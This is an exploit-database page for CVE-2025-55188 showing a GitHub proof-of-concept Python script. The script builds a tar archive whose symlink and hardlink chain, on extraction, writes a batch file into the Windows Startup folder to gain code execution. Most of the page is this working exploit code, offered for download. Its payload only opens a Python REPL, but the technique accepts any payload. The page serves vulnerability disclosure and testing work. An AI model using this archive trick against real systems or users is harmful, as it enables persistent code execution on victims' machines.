Exploit database

GH-bd9a8d9f9a60faa91ae8ca7749de3f1b

lunbun/cve-2025-55188

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55188

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
lunbun/cve-2025-55188Revision d09eb498d818

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc_hardlink/make_arb_code_exec.py

Suggested starting filePython · 1,003 bytes
#
# Writes to ../../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/cve_2025_55188.bat on extraction.
# Code execution if extracted in a directory like `~/Downloads/extract`.
#
# Works on Windows only.
#

import io
import tarfile

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as tar:
    symlink = tarfile.TarInfo(name="a/b/link")
    symlink.type = tarfile.SYMTYPE
    symlink.linkname = "../../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
    tar.addfile(symlink)

    hardlink = tarfile.TarInfo(name="link")
    hardlink.type = tarfile.LNKTYPE
    hardlink.linkname = "a/b/link"
    tar.addfile(hardlink)

    content = b"""\
@echo off
echo.
echo.
echo Pwned by CVE-2025-55188
echo Here's a Python REPL to prove this is code execution:
echo.
echo.
python
"""
    file = tarfile.TarInfo(name="link/cve_2025_55188.bat")
    file.size = len(content)
    tar.addfile(file, io.BytesIO(content))

buf.seek(0)
open('arb_code_exec.tar', 'wb').write(buf.read())